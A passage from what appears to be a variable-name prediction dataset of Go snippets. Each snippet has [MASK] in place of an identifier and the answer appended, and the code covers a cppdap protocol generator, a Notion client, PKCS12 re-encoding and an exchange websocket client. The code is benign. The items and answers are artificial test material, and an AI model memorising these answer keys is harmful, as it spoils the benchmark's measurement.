return true } } } return false } // createOrUpdateSecret creates or update a secret func createOrUpdateSecret(prometheusNamespace, secretName string, secret *corev1.Secret, clientset *kubernetes.Clientset) (metav1.Object, error) { ctx := context.TODO() _, err := clientset.CoreV1().Secrets(prometheusNamespace).Get(ctx, secretName, metav1.GetOptions{}) if err != nil && !k8sErrors.IsNotFound(err) { return nil, err } if err != nil && k8sErrors.IsNotFound(err) { return clientset.CoreV1().Secrets(prometheusNamespace).Create(ctx, secret, metav1.CreateOptions{}) } return clientset.CoreV1().Secrets(prometheusNamespace).Update(ctx, secret, metav1.UpdateOptions{}) } ",privateHostedZoneID 981,"// Copyright 2019 Google LLC // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // protocol_gen (re)generates the cppdap .h and .cpp files that describe the // DAP protocol. package main import ( ""bytes"" ""encoding/json"" ""flag"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""os"" ""os/exec"" ""path"" ""reflect"" ""runtime"" ""sort"" ""strings"" ) const ( protocolURL = ""https://raw.githubusercontent.com/microsoft/vscode-debugadapter-node/master/debugProtocol.json"" packageURL = ""https://raw.githubusercontent.com/microsoft/vscode-debugadapter-node/master/protocol/package.json"" versionTag = ""${version}"" commonPrologue = `// Copyright 2019 Google LLC // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Generated with protocol_gen.go -- do not edit this file. // go run scripts/protocol_gen/protocol_gen.go // // DAP version ${version} ` headerPrologue = commonPrologue + ` #ifndef dap_protocol_h #define dap_protocol_h #include ""optional.h"" #include ""typeinfo.h"" #include ""typeof.h"" #include ""variant.h"" #include #include #include namespace dap { struct Request {}; struct Response {}; struct Event {}; ` headerEpilogue = `} // namespace dap #endif // dap_protocol_h ` cppPrologue = commonPrologue + ` #include ""dap/protocol.h"" namespace dap { ` cppEpilogue = `} // namespace dap ` ) func main() { flag.Parse() if err := run(); err != nil { fmt.Fprintf(os.Stderr, ""%v\n"", err) os.Exit(1) } } type root struct { Schema string `json:""$schema""` Title string `json:""title""` Description string `json:""description""` Ty string `json:""type""` Definitions map[string]definition `json:""definitions""` } func (r *root) definitions() []namedDefinition { sortedDefinitions := make([]namedDefinition, 0, len(r.Definitions)) for name, def := range r.Definitions { sortedDefinitions = append(sortedDefinitions, namedDefinition{name, def}) } sort.Slice(sortedDefinitions, func(i, j int) bool { return sortedDefinitions[i].name < sortedDefinitions[j].name }) return sortedDefinitions } func (r *root) getRef(ref string) (namedDefinition, error) { if !strings.HasPrefix(ref, ""#/definitions/"") { return namedDefinition{}, fmt.Errorf(""Unknown $ref '%s'"", ref) } name := strings.TrimPrefix(ref, ""#/definitions/"") def, ok := r.Definitions[name] if !ok { return namedDefinition{}, fmt.Errorf(""Unknown $ref '%s'"", ref) } return namedDefinition{name, def}, nil } type namedDefinition struct { name string def definition } type definition struct { Ty string `json:""type""` Title string `json:""title""` Description string `json:""description""` Properties properties `json:""properties""` Required []string `json:""required""` AllOf []definition `json:""allOf""` Ref string `json:""$ref""` ClosedEnum []string `json:""enum""` } type properties map[string]property func (p *properties) foreach(cb func(string, property) error) error { type namedProperty struct { name string property property } sorted := make([]namedProperty, 0, len(*p)) for name, property := range *p { sorted = append(sorted, namedProperty{name, property}) } sort.Slice(sorted, func(i, j int) bool { return sorted[i].name < sorted[j].name }) for _, entry := range sorted { if err := cb(entry.name, entry.property); err != nil { return err } } return nil } type property struct { typed Description string `json:""description""` } func (p *property) properties(r *root) (properties, []string, error) { if p.Ref == """" { return p.Properties, p.Required, nil } d, err := r.getRef(p.Ref) if err != nil { return nil, nil, err } return d.def.Properties, d.def.Required, nil } type typed struct { Ty interface{} `json:""type""` Items *typed `json:""items""` Ref string `json:""$ref""` Properties properties `json:""properties""` Required []string `json:""required""` ClosedEnum []string `json:""enum""` OpenEnum []string `json:""_enum""` } func (t typed) typename(r *root, refs *[]string) (string, error) { if t.Ref != """" { d, err := r.getRef(t.Ref) if err != nil { return """", err } *refs = append(*refs, d.name) return d.name, nil } if t.Ty == nil { return """", fmt.Errorf(""No type specified"") } var typeof func(v reflect.Value) (string, error) typeof = func(v reflect.Value) (string, error) { if v.Kind() == reflect.Interface { v = v.Elem() } switch v.Kind() { case reflect.String: ty := v.Interface().(string) switch ty { case ""boolean"", ""string"", ""integer"", ""number"", ""object"", ""null"": return ty, nil case ""array"": if t.Items != nil { el, err := t.Items.typename(r, refs) if err != nil { return """", err } return fmt.Sprintf(""array<%s>"", el), nil } return ""array"", nil default: return """", fmt.Errorf(""Unhandled property type '%v'"", ty) } case reflect.Slice, reflect.Array: ty := ""variant<"" for i := 0; i < v.Len(); i++ { if i > 0 { ty += "", "" } el, err := typeof(v.Index(i)) if err != nil { return """", err } ty += el } ty += "">"" return ty, nil } return """", fmt.Errorf(""Unsupported type '%v' kind: %v"", v.Interface(), v.Kind()) } return typeof(reflect.ValueOf(t.Ty)) } type cppField struct { desc string ty string name string defaultValue string optional bool } type cppType interface { Name() string Dependencies() []string File() cppFile DefaultValue() string WriteHeader(w io.Writer) WriteCPP(w io.Writer) } type cppStruct struct { desc string name string typename string base string fields []cppField deps []string emit bool typedefs []cppTypedef file cppFile } func (s *cppStruct) Name() string { return s.name } func (s *cppStruct) Dependencies() []string { return s.deps } func (s *cppStruct) File() cppFile { return s.file } func (s *cppStruct) DefaultValue() string { return """" } func (s *cppStruct) WriteHeader(w io.Writer) { if s.desc != """" { io.WriteString(w, ""// "") io.WriteString(w, strings.ReplaceAll(s.desc, ""\n"", ""\n// "")) io.WriteString(w, ""\n"") } io.WriteString(w, ""struct "") io.WriteString(w, s.name) if s.base != """" { io.WriteString(w, "" : public "") io.WriteString(w, s.base) } io.WriteString(w, "" {"") // typedefs for _, t := range s.typedefs { io.WriteString(w, ""\n using "") io.WriteString(w, t.from) io.WriteString(w, "" = "") io.WriteString(w, t.to) io.WriteString(w, "";"") } for _, f := range s.fields { if f.desc != """" { io.WriteString(w, ""\n // "") io.WriteString(w, strings.ReplaceAll(f.desc, ""\n"", ""\n // "")) } io.WriteString(w, ""\n "") if f.optional { io.WriteString(w, ""optional<"") io.WriteString(w, f.ty) io.WriteString(w, "">"") } else { io.WriteString(w, f.ty) } io.WriteString(w, "" "") io.WriteString(w, sanitize(f.name)) if !f.optional && f.defaultValue != """" { io.WriteString(w, "" = "") io.WriteString(w, f.defaultValue) } io.WriteString(w, "";"") } io.WriteString(w, ""\n};\n\n"") io.WriteString(w, ""DAP_DECLARE_STRUCT_TYPEINFO("") io.WriteString(w, s.name) io.WriteString(w, "");\n\n"") } func (s *cppStruct) WriteCPP(w io.Writer) { // typeinfo io.WriteString(w, ""DAP_IMPLEMENT_STRUCT_TYPEINFO("") io.WriteString(w, s.name) io.WriteString(w, "",\n \"""") io.WriteString(w, s.typename) io.WriteString(w, ""\"""") for _, f := range s.fields { io.WriteString(w, "",\n "") io.WriteString(w, ""DAP_FIELD("") io.WriteString(w, sanitize(f.name)) io.WriteString(w, "", \"""") io.WriteString(w, f.name) io.WriteString(w, ""\"")"") } io.WriteString(w, "");\n\n"") } type cppTypedef struct { from string to string deps []string desc string defaultValue string } func (ty *cppTypedef) Name() string { return ty.from } func (ty *cppTypedef) Dependencies() []string { return ty.deps } func (ty *cppTypedef) File() cppFile { return types } func (ty *cppTypedef) DefaultValue() string { return ty.defaultValue } func (ty *cppTypedef) WriteHeader(w io.Writer) { if ty.desc != """" { io.WriteString(w, ""// "") io.WriteString(w, strings.ReplaceAll(ty.desc, ""\n"", ""\n// "")) io.WriteString(w, ""\n"") } io.WriteString(w, ""using "") io.WriteString(w, ty.from) io.WriteString(w, "" = "") io.WriteString(w, ty.to) io.WriteString(w, "";\n\n"") } func (ty *cppTypedef) WriteCPP(w io.Writer) { } func sanitize(s string) string { s = strings.Trim(s, ""_"") switch s { case ""default"": return ""def"" default: return s } } func appendEnumDetails(desc string, openEnum []string, closedEnum []string) string { if len(closedEnum) > 0 { desc += ""\n\nMust be one of the following enumeration values:\n"" for i, enum := range closedEnum { if i > 0 { desc += "", "" } desc += ""'"" + enum + ""'"" } } if len(openEnum) > 0 { desc += ""\n\nMay be one of the following enumeration values:\n"" for i, enum := range openEnum { if i > 0 { desc += "", "" } desc += ""'"" + enum + ""'"" } } return desc } func (r *root) buildObject(entry namedDefinition) (*cppStruct, error) { defName := entry.name def := entry.def base := """" if len(def.AllOf) > 1 && def.AllOf[0].Ref != """" { ref, err := r.getRef(def.AllOf[0].Ref) if err != nil { return nil, err } base = ref.name if len(def.AllOf) > 2 { return nil, fmt.Errorf(""Cannot handle allOf with more than 2 entries"") } def = def.AllOf[1] } s := &cppStruct{ desc: def.Description, name: defName, base: base, } var props properties var required []string var err error switch base { case ""Request"": if arguments, ok := def.Properties[""arguments""]; ok { props, required, err = arguments.properties(r) } if command, ok := def.Properties[""command""]; ok { s.typename = command.ClosedEnum[0] } response := strings.TrimSuffix(s.name, ""Request"") + ""Response"" s.deps = append(s.deps, response) s.typedefs = append(s.typedefs, cppTypedef{from: ""Response"", to: response}) s.emit = true s.file = request case ""Response"": if body, ok := def.Properties[""body""]; ok { props, required, err = body.properties(r) } s.emit = true s.file = response case ""Event"": if body, ok := def.Properties[""body""]; ok { props, required, err = body.properties(r) } if command, ok := def.Properties[""event""]; ok { s.typename = command.ClosedEnum[0] } s.emit = true s.file = event default: props = def.Properties required = def.Required s.file = types } if err != nil { return nil, err } if err = props.foreach(func(propName string, property property) error { ty, err := property.typename(r, &s.deps) if err != nil { return fmt.Errorf(""While processing %v.%v: %v"", defName, propName, err) } optional := true for _, r := range required { if propName == r { optional = false } } desc := appendEnumDetails(property.Description, property.OpenEnum, property.ClosedEnum) defaultValue := """" if len(property.ClosedEnum) > 0 { defaultValue = `""` + property.ClosedEnum[0] + `""` } s.fields = append(s.fields, cppField{ desc: desc, defaultValue: defaultValue, ty: ty, name: propName, optional: optional, }) return nil }); err != nil { return nil, err } return s, nil } func (r *root) buildTypes() ([]cppType, error) { ignore := map[string]bool{ // These are handled internally. ""ProtocolMessage"": true, ""Request"": true, ""Event"": true, ""Response"": true, } out := []cppType{} for _, entry := range r.definitions() { if ignore[entry.name] { continue } switch entry.def.Ty { case """", ""object"": ty, err := r.buildObject(entry) if err != nil { return nil, err } out = append(out, ty) case ""string"": desc := appendEnumDetails(entry.def.Description, nil, entry.def.ClosedEnum) defaultValue := """" if len(entry.def.ClosedEnum) > 0 { defaultValue = entry.def.ClosedEnum[0] } ty := &cppTypedef{from: entry.name, to: ""std::string"", desc: desc, defaultValue: defaultValue} out = append(out, ty) default: return nil, fmt.Errorf(""Unhandled type '%v' for '%v'"", entry.def.Ty, entry.name) } } return out, nil } type cppFile string const ( request = cppFile(""request"") response = cppFile(""response"") event = cppFile(""event"") types = cppFile(""types"") ) type cppFilePaths map[cppFile]string type cppFiles map[cppFile]*os.File func run() error { pkg := struct { Version string `json:""version""` }{} if err := loadJSONFile(packageURL, &pkg); err != nil { return fmt.Errorf(""Failed to load JSON file from '%v': %w"", packageURL, err) } protocol := root{} if err := loadJSONFile(protocolURL, &protocol); err != nil { return fmt.Errorf(""Failed to load JSON file from '%v': %w"", protocolURL, err) } hPath, cppPaths := outputPaths() if err := emitFiles(&protocol, hPath, cppPaths, pkg.Version); err != nil { return fmt.Errorf(""Failed to emit files: %w"", err) } if clangfmt, err := exec.LookPath(""clang-format""); err == nil { if out, err := exec.Command(clangfmt, ""-i"", hPath).CombinedOutput(); err != nil { return fmt.Errorf(""Failed to run clang-format on '%v':\n%v\n%w"", hPath, string(out), err) } for _, p := range cppPaths { if out, err := exec.Command(clangfmt, ""-i"", p).CombinedOutput(); err != nil { return fmt.Errorf(""Failed to run clang-format on '%v':\n%v\n%w"", p, string(out), err) } } } else { fmt.Printf(""clang-format not found on PATH. Please format before committing."") } return nil } func emitFiles(r *root, hPath string, cppPaths map[cppFile]string, version string) error { h, err := os.Create(hPath) if err != nil { return err } defer h.Close() cppFiles := map[cppFile]*os.File{} for ty, p := range cppPaths { f, err := os.Create(p) if err != nil { return err } cppFiles[ty] = f defer f.Close() } h.WriteString(strings.ReplaceAll(headerPrologue, versionTag, version)) for _, f := range cppFiles { f.WriteString(strings.ReplaceAll(cppPrologue, versionTag, version)) } types, err := r.buildTypes() if err != nil { return err } typesByName := map[string]cppType{} for _, s := range types { typesByName[s.Name()] = s } seen := map[string]bool{} var emit func(cppType) error emit = func(ty cppType) error { name := ty.Name() if seen[name] { return nil } seen[name] = true for _, depName := range ty.Dependencies() { dep, ok := typesByName[depName] if !ok { return fmt.Errorf(""'%v' depends on unknown type '%v'"", name, depName) } if err := emit(dep); err != nil { return err } } ty.WriteHeader(h) ty.WriteCPP(cppFiles[ty.File()]) return nil } // emit message types. // Referenced types will be transitively emitted. for _, s := range types { switch s.File() { case request, response, event: if err := emit(s); err != nil { return err } } } h.WriteString(headerEpilogue) for _, f := range cppFiles { f.WriteString(cppEpilogue) } return nil } func loadJSONFile(url string, obj interface{}) error { resp, err := http.Get(url) if err != nil { return err } data, err := ioutil.ReadAll(resp.Body) if err != nil { return err } if err := json.NewDecoder(bytes.NewReader(data)).Decode(obj); err != nil { return err } return nil } func outputPaths() (string, cppFilePaths) { _, [MASK] , _, _ := runtime.Caller(1) thisDir := path.Dir( [MASK] ) h := path.Join(thisDir, ""../../include/dap/protocol.h"") cpp := cppFilePaths{ request: path.Join(thisDir, ""../../src/protocol_requests.cpp""), response: path.Join(thisDir, ""../../src/protocol_response.cpp""), event: path.Join(thisDir, ""../../src/protocol_events.cpp""), types: path.Join(thisDir, ""../../src/protocol_types.cpp""), } return h, cpp } ",thisFile 982,"package rest import ( ""bytes"" ""encoding/json"" ""fmt"" ""io"" ""net/http"" ""net/url"" ""path"" log ""github.com/sirupsen/logrus"" ""github.com/surajssd/libnotion/api"" ) // AddPage takes a page object and adds it to the database mentioned in the page object. func (nc *NotionClient) AddPage(pg api.Page) (*api.Page, error) { client := &http.Client{} u, err := url.Parse(APIURL) if err != nil { return nil, fmt.Errorf(""parsing the APIURL: %w"", err) } u.Path = path.Join(u.Path, SubPathPages) [MASK] := u.String() b := new(bytes.Buffer) if err := json.NewEncoder(b).Encode(pg); err != nil { return nil, fmt.Errorf(""encoding page for request: %w"", err) } req, err := http.NewRequest(""POST"", [MASK] , b) if err != nil { return nil, fmt.Errorf(""building query: %w"", err) } req.Header.Add(""Notion-Version"", NotionVersion) req.Header.Add(""Authorization"", ""Bearer ""+nc.token) req.Header.Add(""Content-Type"", ""application/json"") resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf(""adding a new page: %w"", err) } defer resp.Body.Close() data, respErr := io.ReadAll(resp.Body) if resp.StatusCode != http.StatusOK { failedResp := api.FailureResponse{} if respErr != nil { log.Debugf(""reading the response: %v"", err) } else { if err := json.Unmarshal(data, &failedResp); err != nil { log.Debugf(""unmarshalling failure response: %v"", err) } } return nil, fmt.Errorf(""http request returned non-200 response: %q. Message: %s"", resp.Status, failedResp.Message) } // Check if there is any error while reading the response Data. if respErr != nil { return nil, fmt.Errorf(""reading the response: %w"", err) } page := api.Page{} if err := json.Unmarshal(data, &page); err != nil { return nil, fmt.Errorf(""could not unmarshal response, %w"", err) } return &page, nil } ",postURL 983,"package main import ( ""crypto/rand"" ""crypto/sha256"" ""encoding/hex"" ""errors"" ""fmt"" ""math"" ""math/big"" ""github.com/bnb-chain/tss-lib/v2/common"" ) func fillBytes(x *big.Int, buf []byte) []byte { b := x.Bytes() if len(b) > len(buf) { panic(""buffer too small"") } offset := len(buf) - len(b) for i := range buf { if i < offset { buf[i] = 0 } else { buf[i] = b[i-offset] } } return buf } // GenerateRandomChainCodeHex Generates a 32-byte random chain code encoded as a hexadecimal string. // Does not take arg because it relies on the (secure) rng from the crypto pkg func GenerateRandomChainCodeHex() (string, error) { chainCode := make([]byte, 32) max32b := new(big.Int).Lsh(new(big.Int).SetUint64(1), 256) max32b = new(big.Int).Sub(max32b, new(big.Int).SetUint64(1)) fillBytes(common.GetRandomPositiveInt(rand.Reader, max32b), chainCode) encodedChainCode := hex.EncodeToString(chainCode) return encodedChainCode, nil } func SHA256HashBytes(input []byte) []byte { h := sha256.New() h.Write(input) return h.Sum(nil) } func GetSHA256Hash(input []byte) (string, error) { h := sha256.New() _, err := h.Write(input) if err != nil { return """", fmt.Errorf(""fail to write to hash: %w"", err) } return hex.EncodeToString(h.Sum(nil)), nil } func GetThreshold(value int) (int, error) { if value < 2 { return 0, errors.New(""invalid input"") } [MASK] := int(math.Ceil(float64(value)*2.0/3.0)) - 1 return [MASK] , nil } ",threshold 984,"package main import ( ""fmt"" ""os"" ""software.sslmate.com/src/go-pkcs12"" ) func main() { args := os.Args[1:] if len(args) != 3 { fmt.Println(""Usage: clearpassword "") os.Exit(1) } inputFile := args[0] password := args[1] outputFile := args[2] // Read the PKCS12 file p12Data, err := os.ReadFile(inputFile) if err != nil { fmt.Printf(""Failed to read PKCS12 file: %v\n"", err) return } // Decode the PKCS12 file privateKey, [MASK] , caCerts, err := pkcs12.DecodeChain(p12Data, password) if err != nil { fmt.Printf(""Failed to decode PKCS12 file: %v\n"", err) return } // Re-encode without password newP12Data, err := pkcs12.Modern.Encode(privateKey, [MASK] , caCerts, """") if err != nil { fmt.Printf(""Failed to encode PKCS12 file: %v\n"", err) return } // Save the new PKCS12 file err = os.WriteFile(outputFile, newP12Data, 0644) if err != nil { fmt.Printf(""Failed to write output PKCS12 file: %v\n"", err) return } } ",cert 985,"package main import ( ""bytes"" ""compress/gzip"" ""crypto/hmac"" ""crypto/sha256"" ""encoding/base64"" ""fmt"" ""io/ioutil"" ""net/url"" ""strings"" ""time"" ""github.com/gorilla/websocket"" ) func readLoop(conn *websocket.Conn) { for conn != nil { msgType, buf, err := conn.ReadMessage() if err != nil { fmt.Printf(""Read error: %s"", err) continue } var message string if msgType == websocket.BinaryMessage { message, err = gzipDecompress(buf) if err != nil { fmt.Printf(""UnGZip data error: %s"", err) continue } } else if msgType == websocket.TextMessage { message = string(buf) } fmt.Println(message) } } func sign(sk string, method string, host string, path string, parameters string) string { var sb strings.Builder sb.WriteString(method) sb.WriteString(""\n"") sb.WriteString(host) sb.WriteString(""\n"") sb.WriteString(path) sb.WriteString(""\n"") sb.WriteString(parameters) fmt.Println(""sign parameters:"", parameters) payload := sb.String() hash := hmac.New(sha256.New, []byte(sk)) hash.Write([]byte(payload)) result := base64.StdEncoding.EncodeToString(hash.Sum(nil)) return result } func sendAuth(conn *websocket.Conn, host string, path string, accessKey string, secretKey string) bool { timestamp := time.Now().UTC().Format(""2006-01-02T15:04:05"") urls := url.Values{} urls.Add(""AccessKeyId"", accessKey) urls.Add(""SignatureMethod"", ""HmacSHA256"") urls.Add(""SignatureVersion"", ""2"") urls.Add(""Timestamp"", timestamp) signature := sign(secretKey, ""GET"", host, path, urls.Encode()) fmt.Println(""signature:"", signature) auth := fmt.Sprintf(""{\""op\"":\""auth\"", \""type\"":\""api\"",\""AccessKeyId\"":\""%s\"", \""SignatureMethod\"":\""HmacSHA256\"", \""SignatureVersion\"":\""2\"", \""Timestamp\"":\""%s\"", \""Signature\"":\""%s\""}"", accessKey, timestamp, signature) fmt.Println(""send auth:"", auth) jdata := []byte(auth) conn.WriteMessage(websocket.TextMessage, jdata) return true } func gzipDecompress(input []byte) (string, error) { buf := bytes.NewBuffer(input) reader, gzipErr := gzip.NewReader(buf) if gzipErr != nil { return """", gzipErr } defer reader.Close() result, [MASK] := ioutil.ReadAll(reader) if [MASK] != nil { return """", [MASK] } return string(result), nil } func main() { host := ""api.hbdm.com"" path := ""/swap-notification"" ak := ""x-x-x-x"" sk := ""x-x-x-x"" url := fmt.Sprintf(""wss://%s%s"", host, path) fmt.Println(""url:"", url) //head := http.Header{""Host"": {host + "":8080""}} //conn, _, err := websocket.DefaultDialer.Dial(url, head) conn, _, err := websocket.DefaultDialer.Dial(url, nil) if err != nil { fmt.Println(""WebSocket connected error: %s"", err) } else { //fmt.Println(""WebSocket connected"") sendAuth(conn, host, path, ak, sk) readLoop(conn) } } ",readErr 986,"package array import ( ""encoding/json"" ""fmt"" ""math/rand"" ""reflect"" ""strings"" ""sync"" ""time"" ""slices"" ""github.com/jericho-yu/aid/operation"" ) type ( AnyArray[T any] struct { data []T mu sync.RWMutex } ) // New 实例化 func New[T any](list []T) *AnyArray[T] { return &AnyArray[T]{data: list, mu: sync.RWMutex{}} } // NewDestruction 通过解构参数实例化 func NewDestruction[T any](list ...T) *AnyArray[T] { return &AnyArray[T]{data: list, mu: sync.RWMutex{}} } // Make 初始化 func Make[T any](size int) *AnyArray[T] { return &AnyArray[T]{data: make([]T, size), mu: sync.RWMutex{}} } // Lock 加锁:写锁 func (my *AnyArray[T]) Lock() *AnyArray[T] { my.mu.Lock() return my } // Unlock 解锁:写锁 func (my *AnyArray[T]) Unlock() *AnyArray[T] { my.mu.Unlock() return my } // RLock 加锁:读锁 func (my *AnyArray[T]) RLock() *AnyArray[T] { my.mu.RLock() return my } // RUnlock 解锁:读锁 func (my *AnyArray[T]) RUnlock() *AnyArray[T] { my.mu.RUnlock() return my } // isEmpty 判断是否为空 func (my *AnyArray[T]) isEmpty() bool { return len(my.data) == 0 } // IsEmpty 判断是否为空 func (my *AnyArray[T]) IsEmpty() bool { my.mu.RLock() defer my.mu.RUnlock() return my.isEmpty() } // IsNotEmpty 判断是否不为空 func (my *AnyArray[T]) IsNotEmpty() bool { my.mu.RLock() defer my.mu.RUnlock() return !my.isEmpty() } // has 检查key是否存在 func (my *AnyArray[T]) has(k int) bool { return k >= 0 && k < len(my.data) } // Has 检查是否存在 func (my *AnyArray[T]) Has(k int) bool { my.mu.RLock() defer my.mu.RUnlock() return my.has(k) } func (my *AnyArray[T]) set(k int, v T) *AnyArray[T] { my.data[k] = v return my } // Set 设置值 func (my *AnyArray[T]) Set(k int, v T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.set(k, v) } func (my *AnyArray[T]) get(idx int) T { return my.data[idx] } // Get 获取值 func (my *AnyArray[T]) Get(idx int) T { my.mu.RLock() defer my.mu.RUnlock() return my.get(idx) } func (my *AnyArray[T]) getByIndexes(indexes ...int) []T { res := make([]T, len(indexes)) for k, idx := range indexes { res[k] = my.data[idx] } return res } // GetByIndexes 通过多索引获取内容 func (my *AnyArray[T]) GetByIndexes(indexes ...int) *AnyArray[T] { my.mu.RLock() defer my.mu.RUnlock() return New(my.getByIndexes(indexes...)) } func (my *AnyArray[T]) append(v ...T) *AnyArray[T] { my.data = append(my.data, v...) return my } // Append 追加 func (my *AnyArray[T]) Append(v ...T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.append(v...) } func (my *AnyArray[T]) first() T { return my.data[0] } // First 获取第一个值 func (my *AnyArray[T]) First() T { my.mu.RLock() defer my.mu.RUnlock() return my.first() } func (my *AnyArray[T]) last() T { var t T return operation.Ternary(my.Len() > 1, my.data[len(my.data)-1], operation.Ternary(my.Len() == 0, t, my.data[0])) } // Last 获取最后一个值 func (my *AnyArray[T]) Last() T { my.mu.RLock() defer my.mu.RUnlock() return my.last() } func (my *AnyArray[T]) toSlice() []T { var ret = make([]T, len(my.data)) copy(ret, my.data) return ret } // ToSlice 获取全部值:到切片 func (my *AnyArray[T]) ToSlice() []T { my.mu.RLock() defer my.mu.RUnlock() return my.toSlice() } func (my *AnyArray[T]) getIndexes() []int { var indexes = make([]int, len(my.data)) for i := range my.data { indexes[i] = i } return indexes } // GetIndexes 获取所有索引 func (my *AnyArray[T]) GetIndexes() []int { my.mu.RLock() defer my.mu.RUnlock() return my.getIndexes() } func (my *AnyArray[T]) getIndexByValue(value T) int { for idx, val := range my.data { if reflect.DeepEqual(val, value) { return idx } } return -1 } // GetIndexByValue 根据值获取索引下标 func (my *AnyArray[T]) GetIndexByValue(value T) int { my.mu.RLock() defer my.mu.RUnlock() return my.getIndexByValue(value) } func (my *AnyArray[T]) getIndexesByValues(values ...T) []int { var indexes []int for _, value := range values { for idx, val := range my.data { if reflect.DeepEqual(val, value) { indexes = append(indexes, idx) } } } return indexes } // GetIndexesByValues 通过值获取索引下标 func (my *AnyArray[T]) GetIndexesByValues(values ...T) *AnyArray[int] { my.mu.RLock() defer my.mu.RUnlock() return New(my.getIndexesByValues(values...)) } func (my *AnyArray[T]) copy() *AnyArray[T] { return New(my.data) } // Copy 复制自己 func (my *AnyArray[T]) Copy() *AnyArray[T] { my.mu.RLock() defer my.mu.RUnlock() return my.copy() } func (my *AnyArray[T]) shuffle() *AnyArray[T] { [MASK] := rand.New(rand.NewSource(time.Now().UnixNano())) for i := range my.data { j := [MASK] .Intn(i + 1) // 生成 [0, i] 范围内的随机数 my.data[i], my.data[j] = my.data[j], my.data[i] // 交换元素 } return my } // Shuffle 打乱切片中的元素顺序 func (my *AnyArray[T]) Shuffle() *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.shuffle() } func (my *AnyArray[T]) len() int { return len(my.data) } // Len 获取数组长度 func (my *AnyArray[T]) Len() int { my.mu.RLock() defer my.mu.RUnlock() return my.len() } func (my *AnyArray[T]) lenWithoutEmpty() int { return my.copy().removeEmpty().len() } // LenWithoutEmpty 获取非0值长度 func (my *AnyArray[T]) LenWithoutEmpty() int { my.mu.RLock() defer my.mu.RUnlock() return my.lenWithoutEmpty() } func (my *AnyArray[T]) filter(fn func(v T) bool) *AnyArray[T] { j := 0 ret := make([]T, len(my.data)) for i := range my.data { if fn(my.data[i]) { ret[j] = my.data[i] j++ } } my.data = ret[:j] return my } // Filter 过滤数组值 func (my *AnyArray[T]) Filter(fn func(v T) bool) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.filter(fn) } func (my *AnyArray[T]) removeEmpty() *AnyArray[T] { var data = make([]T, 0) for _, item := range my.data { ref := reflect.ValueOf(item) if ref.Kind() == reflect.Ptr { if ref.IsNil() { continue } if ref.Elem().IsZero() { continue } } else { if ref.IsZero() { continue } } data = append(data, item) } return New(data) } // RemoveEmpty 清除0值元素 func (my *AnyArray[T]) RemoveEmpty() *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() return my.removeEmpty() } func (my *AnyArray[T]) join(sep string) string { values := make([]string, my.len()) for idx, datum := range my.data { values[idx] = fmt.Sprintf(""%v"", datum) } return strings.Join(values, sep) } // Join 拼接字符串 func (my *AnyArray[T]) Join(sep string) string { my.mu.RLock() defer my.mu.RUnlock() return my.join(sep) } func (my *AnyArray[T]) joinWithoutEmpty(sep string) string { values := make([]string, my.copy().removeEmpty().len()) j := 0 for _, datum := range my.copy().removeEmpty().toSlice() { values[j] = fmt.Sprintf(""%v"", datum) j++ } return strings.Join(values, sep) } // JoinWithoutEmpty 拼接非空元素 func (my *AnyArray[T]) JoinWithoutEmpty(seps ...string) string { my.mu.Lock() defer my.mu.Unlock() var sep = "" "" if len(seps) > 0 { sep = seps[0] } return my.joinWithoutEmpty(sep) } func (my *AnyArray[T]) in(target T) bool { for _, element := range my.data { if reflect.DeepEqual(target, element) { return true } } return false } // In 检查值是否存在 func (my *AnyArray[T]) In(targets ...T) bool { my.mu.RLock() defer my.mu.RUnlock() return slices.ContainsFunc(targets, my.in) } // NotIn 检查值是否不存在 func (my *AnyArray[T]) NotIn(targets ...T) bool { my.mu.RLock() defer my.mu.RUnlock() return !slices.ContainsFunc(targets, my.in) } func (my *AnyArray[T]) allEmpty() bool { return my.copy().removeEmpty().len() == 0 } // AllEmpty 判断当前数组是否0空 func (my *AnyArray[T]) AllEmpty() bool { my.mu.RLock() defer my.mu.RUnlock() return my.allEmpty() } func (my *AnyArray[T]) anyEmpty() bool { return my.copy().removeEmpty().len() != len(my.data) } // AnyEmpty 判断当前数组中是否存在0值 func (my *AnyArray[T]) AnyEmpty() bool { my.mu.RLock() defer my.mu.RUnlock() return my.anyEmpty() } func (my *AnyArray[T]) chunk(size int) [][]T { var chunks [][]T for i := 0; i < len(my.data); i += size { end := i + size if end > len(my.data) { end = len(my.data) } chunks = append(chunks, my.data[i:end]) } return chunks } // Chunk 分块 func (my *AnyArray[T]) Chunk(size int) [][]T { my.mu.RLock() defer my.mu.RUnlock() return my.chunk(size) } func (my *AnyArray[T]) pluck(fn func(item T) any) *AnyArray[any] { var ret = make([]any, 0) for _, v := range my.data { ret = append(ret, fn(v)) } return New(ret) } // Pluck 获取数组中指定字段的值 func (my *AnyArray[T]) Pluck(fn func(item T) any) *AnyArray[any] { my.mu.RLock() defer my.mu.RUnlock() return my.pluck(fn) } func (my *AnyArray[T]) intersection(other *AnyArray[T]) { if other == nil || other.IsEmpty() { return } var intersection = make([]T, 0) for _, value := range my.data { if other.In(value) { intersection = append(intersection, value) } } my.data = intersection } // Intersection 取交集 func (my *AnyArray[T]) Intersection(other *AnyArray[T]) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.intersection(other) return my } // IntersectionBySlice 取交集:通过切片 func (my *AnyArray[T]) IntersectionBySlice(other []T) *AnyArray[T] { my.mu.Lock() defer my.mu.Unlock() my.intersection(New(other)) return my } // IntersectionByValues 取交集:通过值 func (my *AnyArray[T]) IntersectionByValues(values ...T) *AnyArray[T] { 